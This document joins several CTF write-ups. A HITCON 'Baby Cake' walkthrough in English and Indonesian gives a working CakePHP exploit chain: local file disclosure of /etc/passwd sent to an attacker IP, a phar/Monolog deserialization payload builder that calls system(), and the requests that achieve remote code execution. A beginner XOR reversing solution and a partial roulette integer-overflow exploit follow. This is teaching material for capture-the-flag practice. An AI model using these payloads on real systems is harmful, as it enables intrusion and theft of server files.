1 root root 28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-awsdrwxr-xr-x 20 root root 4096 Sep 12 16:16 libdrwx------ 2 root root 16384 Sep 12 16:10 lost+founddrwxr-xr-x 2 root root 4096 Sep 12 15:59 bindrwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64drwxr-xr-x 10 root root 4096 Sep 12 15:55 usrdrwxr-xr-x 2 root root 4096 Sep 12 15:55 mediadrwxr-xr-x 2 root root 4096 Sep 12 15:55 optdrwxr-xr-x 2 root root 4096 Sep 12 15:55 mntdrwxr-xr-x 2 root root 4096 Sep 12 15:55 srv```
We can't read `/flag` file because it can only be read by `root`. It seems that we need to read it by executing `/read_flag` which is a setuid binary. If `tty` is needed, we can perform reverse shell and spawn it. However, `tty` is not needed so the execution of `system('/ get_flag')` by modifying the previous payload will give us the flag.
Flag: **hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}**
FYI, [Orange ](https://twitter.com/orange_8361) (the author) has found that `phar://` could `unserialize` objects internally since last year, before someone presented it at Black Hat USA 2018.
References:- https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017- https://blog.ripstech.com/2018/new-php-exploitation-technique/
## Bahasa Indonesia
### Rangkuman- Kita dapat mengakses URL menggunakan HTTP Client dari web Cake PHP yang diberikan dan cache-nya akan disimpan dalam berkas `body.cache` dan `headers.cache` apabila method yang digunakan adalah GET.- Selain GET, kita dapat melakukan request lain seperti POST pada URL dengan data dari `getQuery('data')`.- Pada implementasi internal `\Cake\Http\Client\Request`, apabila data berupa array maka akan diproses dengan `Cake\Http\FormData`.- Pada `Cake\Http\FormData` terdapat implementasi yang mirip dengan CURLOPT_SAFE_UPLOAD, di mana `value` yang berawalan `@` akan diunggah dari lokal (Local File Disclosure).- Pembacaan berkas lokal menggunakan `file_get_contents` dengan string yang kita kontrol, memungkinkan kita menggunakan `phar://` dengan payload yang ada pada `body.cache` untuk unserialization secara implisit.- Lakukan PHP Object Injection dengan gadget yang tersedia untuk melakukan Remote Code Execution, contohnya dengan menggunakan vendor `Monolog`.
### Langkah DetailSebuah soal 'baby web' yang sulit karena hanya 4 tim yang berhasil memecahkannya. Diberikan sebuah akses ke web yang dibuat dengan Cake PHP dan [source code](baby_cake.tgz). Tujuan kita adalah untuk mendapatkan akses shell.
Kode utama dari web terletak pada `src/Controller/PagesController.php`.
```phpheaders = $headers; $this->body = $body; }}
class PagesController extends AppController {
private function httpclient($method, $url, $headers, $data) { $options = [ 'headers' => $headers, 'timeout' => 10 ];
$http = new Client(); return $http->$method($url, $data, $options); }
private function back() { return $this->render('pages'); }
private function _cache_dir($key){ $ip = $this->request->getEnv('REMOTE_ADDR'); $index = sprintf('mycache/%s/%s/', $ip, $key); return CACHE . $index; }
private function cache_set($key, $response) { $cache_dir = $this->_cache_dir($key); if ( !file_exists($cache_dir) ) { mkdir($cache_dir, 0700, true); file_put_contents($cache_dir . "body.cache", $response->body); file_put_contents($cache_dir . "headers.cache", serialize($response->headers)); } }
private function cache_get($key) { $cache_dir = $this->_cache_dir($key); if (file_exists($cache_dir)) { $body = file_get_contents($cache_dir . "/body.cache"); $headers = file_get_contents($cache_dir . "/headers.cache"); $body = "\n" . $body; $headers = unserialize($headers); return new DymmyResponse($headers, $body); } else { return null; } }
public function display(...$path) { $request = $this->request; $data = $request->getQuery('data'); $url = $request->getQuery('url'); if (strlen($url) == 0) return $this->back();
$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) ); if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https'])) return $this->back();
$method = strtolower( $request->getMethod() ); if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) ) return $this->back();
$headers = []; foreach ($request->getHeaders() as $key => $value) { if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] )) continue; if (count($value) == 0) continue;
$headers[$key] = $value[0]; }
$key = md5($url); if ($method == 'get') { $response = $this->cache_get($key); if (!$response) { $response = $this->httpclient($method, $url, $headers, null); $this->cache_set($key, $response); } } else { $response = $this->httpclient($method, $url, $headers, $data); }
foreach ($response->headers as $key => $value) { if (strtolower($key) == 'content-type') { $this->response->type(array('type' => $value)); $this->response->type('type'); continue; } $this->response->withHeader($key, $value); }
$this->response->body($response->body); return $this->response; }}```
Ketika request dilakukan pada URL dengan GET method, maka web akan memeriksa apakah ada cache-nya yang sudah tersimpan. Apabila belum, maka isi dari body akan ditulis ke `body.cache` dan isi dari headers (array) yang ter-serialisasi akan ditulis di `headers.cache`. Apabila sudah, maka web akan mengambil isi cache secara langsung. Cache tidak digunakan apabila request yang digunakan adalah selain GET.
Perhatikan walaupun terdapat `unserialize` ketika pembacaan cache, data yang dimasukkan adalah dari `headers.cache` yang sebelumnya ditulis menggunakan `serialize` yang isinya pasti berupa array sehingga PHP Object Injection tidak memungkinkan dari sini (kecuali terdapat bug pada internal PHP).
Kita dapat menulis data apa saja pada `body.cache`. Idenya adalah, apabila ada operasi berkas yang parameternya dapat kita kontrol sepenuhnya, kita dapat menggunakan `phar://` wrapper untu melakukan PHP Object Injection dengan payload yang ada pada `body.cache`. Dan ternyata kita dapat mengarahkan alur aplikasi ke `file_get_contents` dengan parameter yang kita kontrol di dalam internal Cake PHP!
Untuk memudahkan memahami exploit, akan dijabarkan alur aplikasi yang terjadi dari request hingga terjadi Remote Code Execution.
#### Passing Request Data
```php $request = $this->request; $data = $request->getQuery('data'); $url = $request->getQuery('url');
...
$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) ); if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https'])) return $this->back();
..
$method = strtolower( $request->getMethod() ); if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) ) return $this->back();
...
if ($method == 'get') { $response = $this->cache_get($key); if (!$response) { $response = $this->httpclient($method, $url, $headers, null); $this->cache_set($key, $response); } } else { $response = $this->httpclient($method, $url, $headers, $data); }```
Skema pada URL dan method yang dimasukkan user difilter oleh web sehingga kita tidak dapat menggunakan skema selain `http://` dan `https://` dan juga tidak dapat menggunakan method selain GET/POST/PUT/DELETE/PATCH.
Kita dapat menggunakan POST/PUT/DELETE/PATCH agar `$response = $this->httpclient($method, $url, $headers, $data);` terpanggil. Variabel `$data` dapat kita atur menggunakan GET `?data=`.
```php private function httpclient($method, $url, $headers, $data) { $options = [ 'headers' => $headers, 'timeout' => 10 ];
$http = new Client(); return $http->$method($url, $data, $options); }```
Web menggunakan `Cake\Http\Client` dan memanggil method terkait dengan `$data` berasal dari kita. Sebagai contoh, di sini method yang digunakan adalah POST.
#### Processing POST Request
Lihat kode pada `vendor/cakephp/cakephp/src/Http/Client.php`.
```php /** * Default configuration for the client. * * @var array */ protected $_defaultConfig = [ 'adapter' => 'Cake\Http\Client\Adapter\Stream',
...
public function __construct($config = []) { $this->setConfig($config);
$adapter = $this->_config['adapter']; $this->setConfig('adapter', null); if (is_string($adapter)) { $adapter = new $adapter(); } $this->_adapter = $adapter;
...
/** * Do a POST request. * * @param string $url The url or path you want to request. * @param mixed $data The post data you want to send. * @param array $options Additional options for the request. * @return \Cake\Http\Client\Response */ public function post($url, $data = [], array $options = []) { $options = $this->_mergeOptions($options); $url = $this->buildUrl($url, [], $options);
return $this->_doRequest(Request::METHOD_POST, $url, $data, $options); }
...
/** * Helper method for doing non-GET requests. * * @param string $method HTTP method. * @param string $url URL to request. * @param mixed $data The request body. * @param array $options The options to use. Contains auth, proxy, etc. * @return \Cake\Http\Client\Response */ protected function _doRequest($method, $url, $data, $options) { $request = $this->_createRequest( $method, $url, $data, $options );
return $this->send($request, $options); }
...
/** * Creates a new request object based on the parameters. * * @param string $method HTTP method name. * @param string $url The url including query string. * @param mixed $data The request body. * @param array $options The options to use. Contains auth, proxy, etc. * @return \Cake\Http\Client\Request */ protected function _createRequest($method, $url, $data, $options) { $headers = isset($options['headers']) ? (array)$options['headers'] : []; if (isset($options['type'])) { $headers = array_merge($headers, $this->_typeHeaders($options['type'])); } if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) { $headers['Content-Type'] = 'application/x-www-form-urlencoded'; }
$request = new Request($url, $method, $headers, $data);
...
}
```
Data yang kita masukkan akan diproses oleh `post($url, $data = [], array $options = [])` yang kemudian di-pass ke `_doRequest($method, $url, $data, $options)` yang akan membuat objek `$request` menggunakan `_createRequest($method, $url, $data, $options)`. Pada fungsi tersebut, terdapat pembuatan objek menggunakan `Cake\Http\Client\Request` yang datanya berasal dari `$url` dan `$data` yang kita kontrol (`new Request($url, $method, $headers, $data);`).
Selanjutnya kita harus melihat kode `vendor/cakephp/cakephp/src/Http/Client/Request.php`.
```php /** * Constructor * * Provides backwards compatible defaults for some properties. * * @param string $url The request URL * @param string $method The HTTP method to use. * @param array $headers The HTTP headers to set. * @param array|string|null $data The request body to use. */ public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null) { $this->validateMethod($method); $this->method = $method; $this->uri = $this->createUri($url); $headers += [ 'Connection' => 'close', 'User-Agent' => 'CakePHP' ]; $this->addHeaders($headers); $this->body($data); }
...
/** * Get/set the body/payload for the message. * * Array data will be serialized with Cake\Http\FormData, * and the content-type will be set. * * @param string|array|null $body The body for the request. Leave null for get * @return mixed Either $this or the body value. */ public function body($body = null) { if ($body === null) { $body = $this->getBody();
return $body ? $body->__toString() : ''; } if (is_array($body)) { $formData = new FormData(); $formData->addMany($body); $this->header('Content-Type', $formData->contentType()); $body = (string)$formData; } $stream = new Stream('php://memory', 'rw'); $stream->write($body); $this->stream = $stream;
return $this; }```
Pada fungsi `body($body)`, apabila `$body` adalah array, maka data akan diproses menggunakan `Cake\Http\FormData` dengan fungsi `addMany(array $array)`. Mari kita lihat apa yang terjadi pada fungsi tersebut di `vendor/cakephp/cakephp/src/Http/Client/FormData.php`.
```php /** * Add a new part to the data. * * The value for a part can be a string, array, int, * float, filehandle, or object implementing __toString() * * If the $value is an array, multiple parts will be added. * Files will be read from their current position and saved in memory. * * @param string|\Cake\Http\Client\FormData $name The name of the part to add, * or the part data object. * @param mixed $value The value for the part. * @return $this */ public function add($name, $value = null) { if (is_array($value)) { $this->addRecursive($name, $value); } elseif (is_resource($value)) { $this->addFile($name, $value); } elseif (is_string($value) && strlen($value) && $value[0] === '@') { trigger_error( 'Using the @ syntax for file uploads is not safe and is deprecated. ' . 'Instead you should use file handles.', E_USER_DEPRECATED ); $this->addFile($name, $value); } elseif ($name instanceof FormDataPart && $value === null) { $this->_hasComplexPart = true; $this->_parts[] = $name; } else { $this->_parts[] = $this->newPart($name, $value); }
return $this; }
/** * Add multiple parts at once. * * Iterates the parameter and adds all the key/values. * * @param array $data Array of data to add. * @return $this */ public function addMany(array $data) { foreach ($data as $name => $value) { $this->add($name, $value); }
return $this; }
/** * Add either a file reference (string starting with @) * or a file handle. * * @param string $name The name to use. * @param mixed $value Either a string filename, or a filehandle. * @return \Cake\Http\Client\FormDataPart */ public function addFile($name, $value) { $this->_hasFile = true;
$filename = false; $contentType = 'application/octet-stream'; if (is_resource($value)) { $content = stream_get_contents($value); if (stream_is_local($value)) { $finfo = new finfo(FILEINFO_MIME); $metadata = stream_get_meta_data($value); $contentType = $finfo->file($metadata['uri']); $filename = basename($metadata['uri']); } } else { $finfo = new finfo(FILEINFO_MIME); $value = substr($value, 1); $filename = basename($value); $content = file_get_contents($value); $contentType = $finfo->file($value); } $part = $this->newPart($name, $content); $part->type($contentType); if ($filename) { $part->filename($filename); } $this->add($part);
return $part; } ```
Eksekusi pada fungsi `addMany(array $data)` akan mengiterasi array yang dimasukkan untuk diproses menggunakan `add($name, $value)`. Pada fungsi `add($name, $value)`, apabila `$value` adalah string yang diawali `@`, maka `$this->addFile($name, $value);` akan dipanggil.
Pada `addFile($name, $value)`, karena `$value` adalah string, maka `$value = substr($value, 1);` dan `$content = file_get_contents($value);` akan tereksekusi. Dengan ini, kita dapat mengontrol parameter dari `file_get_contents`!
#### Local File Disclosure
Untuk mengujinya, kita dapat mencoba Local File Disclosure. Data request yang dibuat akan dikirim langsung menuju URL dengan menggunakan `fopen` pada `Cake\Http\Client\Adapter\Stream`.
Berikut adalah request untuk mengirimkan `/etc/passwd` ke IP kita.
```POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd```
Pada IP kita, kita akan mendapatkan `/etc/passwd` dari server!
```root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologinsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologinsyslog:x:102:106::/home/syslog:/usr/sbin/nologinmessagebus:x:103:107::/nonexistent:/usr/sbin/nologin_apt:x:104:65534::/nonexistent:/usr/sbin/nologinlxd:x:105:65534::/var/lib/lxd/:/bin/falseuuidd:x:106:110::/run/uuidd:/usr/sbin/nologindnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologinlandscape:x:108:112::/var/lib/landscape:/usr/sbin/nologinsshd:x:109:65534::/run/sshd:/usr/sbin/nologinpollinate:x:110:1::/var/cache/pollinate:/bin/falseubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bashorange:x:1001:1001:,,,:/home/orange:/bin/bash```
Kita juga dapat melihat bahwa konfigurasi Apache menggunakan `000-default.conf` dan direktori web berada di `/var/www/html`.
```POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/apache2/sites-enabled/000-default.conf```
```<VirtualHost *:80> ...
ServerAdmin webmaster@localhost DocumentRoot /var/www/html
...</VirtualHost>```
Percobaan untuk mendapatkan flag dari Local File Disclosure tidak berhasil. Oleh karena itu, kita harus meningkatkannya menjadi Remote Code Execution.
#### Remote Code Execution
Dengan menggunakan fitur yang ada di web, kita dapat menyimpan konten body dari web kita di `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(URL)/body.cache`. Strategi yang dapat dilakukan adalah:
1. Buat payload untuk melakukan PHP Object Injection dari berbagai Class yang tersedia.2. Letakkan payload PHP Object Injection tersebut pada suatu file phar, misal `exploit.phar` di IP kita.3. Download `http://IP/exploit.phar` dari web sehingga cache akan tersimpan di `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache`4. Lakukan POST pada web dengan URL web sembarang dan data untuk membuka `phar://` stream wrapper sehingga terjadi `unserialization`.
Untuk `gadgets`, di sini kita akan mencoba menggunakan `Monolog` dengan referensi dari https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1.
Berikut adalah kode untuk membuat payload `exploit.phar` yang akan mengeksekusi `system('ls -alt')`.
```phpsocket = $x; } } class BufferHandler { protected $handler; protected $bufferSize = -1; protected $buffer; # ($record['level'] < $this->level) == false protected $level = null; protected $initialized = true; # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false protected $bufferLimit = -1; protected $processors; function __construct($methods, $command) { $this->processors = $methods; $this->buffer = [$command]; $this->handler = clone $this; } }}
namespace{ $cmd = "ls -alt";
$obj = new \Monolog\Handler\SyslogUdpHandler( new \Monolog\Handler\BufferHandler( ['current', 'system'], [$cmd, 'level' => null] ) );
$phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test', 'test'); $phar->setStub(''); $phar->setMetadata($obj); $phar->stopBuffering();
}```
Pertama, akses URL `exploit.phar` pada aplikasi web agar cache-nya disimpan.
```GET http://13.230.134.135/?url=http://IP/exploit.phar```
Lalu, gunakan POST request untuk membuka stream 'phar://' dengan lokasi cache dari `exploit.phar` sebagai path.
```POST http://13.230.134.135/?url=http://IP&data[test]=@phar:///var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache```
Dan RCE berhasil dilakukan!
```total 104drwxr-xr-x 26 root root 1000 Oct 21 11:08 rundrwxrwxrwt 2 root root 4096 Oct 21 06:25 tmp-rwsr-sr-x 1 root root 8568 Oct 18 19:53 read_flagdrwxr-xr-x 23 root root 4096 Oct 18 19:53 .drwxr-xr-x 23 root root 4096 Oct 18 19:53 ..drwx------ 5 root root 4096 Oct 18 17:12 rootdrwxr-xr-x 90 root root 4096 Oct 18 11:23 etcdr-xr-xr-x 13 root root 0 Oct 16 07:57 sys-r-------- 1 root root 54 Oct 15 19:49 flagdrwxr-xr-x 4 root root 4096 Oct 15 19:41 homedrwxr-xr-x 3 root root 4096 Oct 9 06:07 bootlrwxrwxrwx 1 root root 31 Oct 9 06:07 initrd.img -> boot/initrd.img-4.15.0-1023-awslrwxrwxrwx 1 root root 28 Oct 9 06:07 vmlinuz -> boot/vmlinuz-4.15.0-1023-awsdrwxr-xr-x 2 root root 4096 Oct 9 06:07 sbinlrwxrwxrwx 1 root root 14 Oct 8 17:14 www -> /var/www/html/drwxr-xr-x 14 root root 4096 Oct 8 17:13 vardrwxr-xr-x 5 root root 4096 Oct 8 17:06 snapdrwxr-xr-x 15 root root 2980 Oct 8 17:06 devdr-xr-xr-x 136 root root 0 Oct 8 17:06 proclrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-awslrwxrwxrwx 1 root root 28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-awsdrwxr-xr-x 20 root root 4096 Sep 12 16:16 libdrwx------ 2 root root 16384 Sep 12 16:10 lost+founddrwxr-xr-x 2 root root 4096 Sep 12 15:59 bindrwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64drwxr-xr-x 10 root root 4096 Sep 12 15:55 usrdrwxr-xr-x 2 root root 4096 Sep 12 15:55 mediadrwxr-xr-x 2 root root 4096 Sep 12 15:55 optdrwxr-xr-x 2 root root 4096 Sep 12 15:55 mntdrwxr-xr-x 2 root root 4096 Sep 12 15:55 srv```
File `/flag` tidak bisa dibuka karena hanya bisa dibaca oleh `root`. Sepertinya kita harus membacanya dengan mengeksekusi `/read_flag` yang merupakan setuid binary. Jika `tty` diperlukan, kita bisa melakukan reverse shell. Namun, tty tidak diperlukan sehingga eksekusi `system('/get_flag')` dengan memodifikasi payload sebelumnya akan memberikan kita flag.
Flag: **hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}**
FYI, [Orange](https://twitter.com/orange_8361) (pembuat soal) sudah menemukan bahwa `phar://` dapat melakukan `unserialize` di internal sejak tahun lalu, lebih dulu dari pada orang lain yang mempresentasikannya di Black Hat USA 2018.
Referensi:- https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017- https://blog.ripstech.com/2018/new-php-exploitation-technique/ |
# Baby reverse (108 points)
## The challenge```Hey there!
Disclaimer: This chall is intended for new gamers only ;-)! You veterans got plenty of other Challenges which will keep you busy, so please pass this Challenge to someone, who never or rarely reversed before! We encourage everyone who never reversed anything to try this challenge. We believe in you and your future reversing skills =). You CAN do it!
The task is to find the correct input which will be the flag. See the challenge files for more instructions.```We are presented with the above message and a zip file to download containing [challenge binary](public/chall) and [notes](public/notes).
The notes just contain some tips for doing this challenge.
## SolvingFirstly I needed to see what was inside that binary so I ran `objdump -D -M "intel" chall` and I quickly notice that there isonly 1 section and its a .text section. I fired up gdb to easily check what was being run.
The first few instructions (3 or so) were just jumping from here to there. and then there is a point where instruction syscall is run.
The `syscall` instruction is a very special instruction that changes the context of the program to a kernel mode which is the highest privilege mode in a system. This instruction executes different things depending on the value of rax register. The function it will execute is defined on a syscall table (or in `/usr/include/asm/unistd_{32,64,x32}`)At this moment I opened up a [syscall table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/).
With gdb we can check that the value of rax is 1. This means that `syscall` will execute a write. From the table we can check that rdi is the file descriptor, rsi register is the buffer (string) to be written and rdx is the count (size) of the string.
Back to gdb, rdi has the value of 0, this means that the write will occur on the stdout (standard output), rsi has random numbers (so it seems). Using the gdb command `x/s $rsi` we validate that rsi has the value `Welcome to this Chall! \nEnter the Key to win: `, which is probably what will be written in the stdout. Finally, rdx has 0x2e value, which coincidentally is the size of the previous string.
Stepping through the `syscall` there is a print, good!Afterwards there is another `syscall` this time with the value 0. Using the table as a reference we find out that this is a read call with basically the same arguments as the write call. So before we run the `syscall` instruction we expect it will read 0x2e (46) characters.
Hitting the step button after `syscall` an input shows up, perfect!
Inputing `AAAAA` it accepts the input with no problem.
An instruction `movzx` is called. This is a menmonic for MOVe Zero eXtended. Which is basically a MOV instruction with extra features. Then there is a `xor`, an `inc` and a `dec` and right after there is a `jne`. At this point I thought to myself "This is most likely a cycle". After hitting step a couple times ... "yeah its a cycle".
Step, step step a little more and finally the cycle broke. It seems like it is just clearing the rsi values. Not much.
The program runs some instruction and gets to a rather strange instruction `repz cmps BYTE PTR ...`. Looking at it "That is some strange instruction" and activated google mode.
[Repz](http://www.felixcloutier.com/x86/REP:REPE:REPZ:REPNE:REPNZ.html) is a prefix instruction menmonic for REPeat until Zero.
Basically it is a loop, so let's hit step. and then there is a condition which apparently only doesn't if the earlier instruction succeded (in this case if the comparations of repz were ok). Alright let's hit step!
The jump is taken and program just exits... that's bad. Going back to the `jne` instruction I changed the instruction pointer to the instruction next to the jump using `set $rip=0x4000bd`. Hitting step a couple of times I get greeted with a message 'Yay!'. That's where I want to be!
Checking the program execution I tried to figure out where my input was used and it was only in the cycle mentioned before.
Alright! Time to debunk that cycle!
After trying to understand the cycle, I thought it was better if I wrote a pseudocode that would resemble that same cycle. So I came up with the following:```char input[46] = read();
for(int i=0;i<45;i++){ input[i]=input[i]^input[i+1];}```This seems fine. This means that every letter of the input will be Xor'd with the next.
Next I decided the best was to write a C program that would resemble this simple Xor algorithm. So I wrote [test.c](test/test.c) which Xors all of our input. That is fantastic (not really). But which value are we really aiming at?
Going back to gdb and pausing on the `repz`, it is comparing out input Xor'd with 0x261838221c060d0a. Bingo!
Now we just need something that can validate the expression `input[i]^input[i+1]=target[i]`. Since we know the flag is in the format `flag{...}` then we know target[i] and input[i]. Using xor properties (if a^b=c then b^c=a and a^c=b) then we get an expression which is `input[i]^target[i]=input[i+1]`.
Since I'm almost always insecure about my crazy theories, lets first do some of there by hand. After some writing I start comming up with `flag{Yay`. Good!
After this just a little scripting and a stupid and boring way (because I didnt want to lose much time) I came up with [exploit.py](exploit.py) which is self explanatory.
After running the script:
flag{Yay_if_th1s_is_yer_f1rst_gnisrever_flag!}
Lovely challenge. :D
## FAQ
### What is a register?Think of registers as processor values. They exist to temporarily store some value. Some registers are specific for some actions.[Learn more](https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture).
### What is al, ah and eax?Registers can be 64,32,16 and 8 bits. r(something) stands for 64-bit registers, e(something) stands for 32-bit registers ax, bx, etc stand for 16 bit registers. al, bl, etc are the lowest bits of ax,bx, etc respectively. ah, bh, etc are the highest bits of ax, bc, etc respectively.[Learn more](https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture).
### How do I know 0 is stdout?In Unix systems there are reserved file descriptors. These are 0 for stdout, 1 for stdin and 2 for stderr.[Learn more](https://linuxmeerkat.wordpress.com/2011/12/02/file-descriptors-explained/)
|
We are given the source code for the service we have to exploit :
```c#include <stdio.h>#include <stdint.h>#include <stdlib.h>#include <time.h>#include <unistd.h>#include <limits.h>
#define MAX_NUM_LEN 12#define HOTSTREAK 3#define MAX_WINS 16#define ONE_BILLION 1000000000#define ROULETTE_SIZE 36#define ROULETTE_SPINS 128#define ROULETTE_SLOWS 16#define NUM_WIN_MSGS 10#define NUM_LOSE_MSGS 5
long cash = 0;long wins = 0;
int is_digit(char c) { return '0' <= c && c <= '9';}
long get_long() { printf("> "); uint64_t l = 0; char c = 0; while(!is_digit(c)) c = getchar(); while(is_digit(c)) { if(l >= LONG_MAX) { l = LONG_MAX; break; } l *= 10; l += c - '0'; c = getchar(); } while(c != '\n') c = getchar(); return l;}
long get_rand() { long seed; FILE *f = fopen("/dev/urandom", "r"); fread(&seed, sizeof(seed), 1, f); fclose(f); seed = seed % 5000; if (seed < 0) seed = seed * -1; srand(seed); return seed;}
long get_bet() { while(1) { puts("How much will you wager?"); printf("Current Balance: $%lu \t Current Wins: %lu\n", cash, wins); long bet = get_long(); if(bet <= cash) { return bet; } else { puts("You can't bet more than you have!"); } }}
long get_choice() { while (1) { printf("Choose a number (1-%d)\n", ROULETTE_SIZE); long choice = get_long(); if (1 <= choice && choice <= ROULETTE_SIZE) { return choice; } else { puts("Please enter a valid choice."); } }}
int print_flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Failed to open the flag file\n"); return -1; } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0;}
const char *win_msgs[NUM_WIN_MSGS] = { "Wow.. Nice One!", "You chose correct!", "Winner!", "Wow, you won!", "Alright, now you're cooking!", "Darn.. Here you go", "Darn, you got it right.", "You.. win.. this round...", "Congrats!", "You're not cheating are you?",};
const char *lose_msgs1[NUM_LOSE_MSGS] = { "WRONG", "Nice try..", "YOU LOSE", "Not this time..", "Better luck next time..."};
const char *lose_msgs2[NUM_LOSE_MSGS] = { "Just give up!", "It's over for you.", "Stop wasting your time.", "You're never gonna win", "If you keep it up, maybe you'll get the flag in 100000000000 years"};
void spin_roulette(long spin) { int n; puts(""); printf("Roulette : "); int i, j; int s = 12500; for (i = 0; i < ROULETTE_SPINS; i++) { n = printf("%d", (i%ROULETTE_SIZE)+1); usleep(s); for (j = 0; j < n; j++) { printf("\b \b"); } } for (i = ROULETTE_SPINS; i < (ROULETTE_SPINS+ROULETTE_SIZE); i++) { n = printf("%d", (i%ROULETTE_SIZE)+1); if (((i%ROULETTE_SIZE)+1) == spin) { for (j = 0; j < n; j++) { printf("\b \b"); } break; } usleep(s); for (j = 0; j < n; j++) { printf("\b \b"); } } for (int k = 0; k < ROULETTE_SIZE; k++) { n = printf("%d", ((i+k)%ROULETTE_SIZE)+1); s = 1.1*s; usleep(s); for (j = 0; j < n; j++) { printf("\b \b"); } } printf("%ld", spin); usleep(s); puts(""); puts("");}
void play_roulette(long choice, long bet) { printf("Spinning the Roulette for a chance to win $%lu!\n", 2*bet); long spin = (rand() % ROULETTE_SIZE)+1;
spin_roulette(spin); if (spin == choice) { cash += 2*bet; puts(win_msgs[rand()%NUM_WIN_MSGS]); wins += 1; } else { puts(lose_msgs1[rand()%NUM_LOSE_MSGS]); puts(lose_msgs2[rand()%NUM_LOSE_MSGS]); } puts("");}
int main(int argc, char *argv[]) { setvbuf(stdout, NULL, _IONBF, 0);
cash = get_rand(); puts("Welcome to ONLINE ROULETTE!"); printf("Here, have $%ld to start on the house! You'll lose it all anyways >:)\n", cash); puts(""); long bet; long choice; while(cash > 0) { bet = get_bet(); cash -= bet; choice = get_choice(); puts(""); play_roulette(choice, bet); if (wins >= MAX_WINS) { printf("Wow you won %lu times? Looks like its time for you cash you out.\n", wins); printf("Congrats you made $%lu. See you next time!\n", cash); exit(-1); } if(cash > ONE_BILLION) { printf("*** Current Balance: $%lu ***\n", cash); if (wins >= HOTSTREAK) { puts("Wow, I can't believe you did it.. You deserve this flag!"); print_flag(); exit(0); } else { puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!"); exit(-1); } } } puts("Haha, lost all the money I gave you already? See ya later!"); return 0;}```
Scanning through the source code, we can see the following interesting blocks :
```cif(cash > ONE_BILLION) { printf("*** Current Balance: $%lu ***\n", cash); if (wins >= HOTSTREAK) { puts("Wow, I can't believe you did it.. You deserve this flag!"); print_flag(); exit(0); } else { puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!"); exit(-1); } }}```
This shows that we don't only need to win a billion but also to score at least3 wins (the value of `HOTSTREAK`).
```clong get_long() { printf("> "); uint64_t l = 0; char c = 0; while(!is_digit(c)) c = getchar(); while(is_digit(c)) { if(l >= LONG_MAX) { l = LONG_MAX; break; } l *= 10; l += c - '0'; c = getchar(); } while(c != '\n') c = getchar(); return l;}```
That's where the first bug is : the code checks if the value being constructedis superior to `LONG_MAX`, which would flip the sign on the value and allow usto get a negative value. But the check is done before adding the digit beingscanned, meaning that the last digit won't be considered.
Since this function is called when choosing the betting amount, we can bet anegative amount and win that amount instead of losing it when the bet is lost.
There's a second bug, but I didn't find it. So I had a way to get the billionneeded, but couldn't force the three wins. Sometimes, an inelegant approachjust does the work too ... So first I wrote the following script :
```pythonimport socket
class Player:
plus_1_dollar = 4294967295
def __init__(self, host, port): self.host = host self.port = port self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((host, port)) # these variables will store the state : self.balance = None self.wins = None
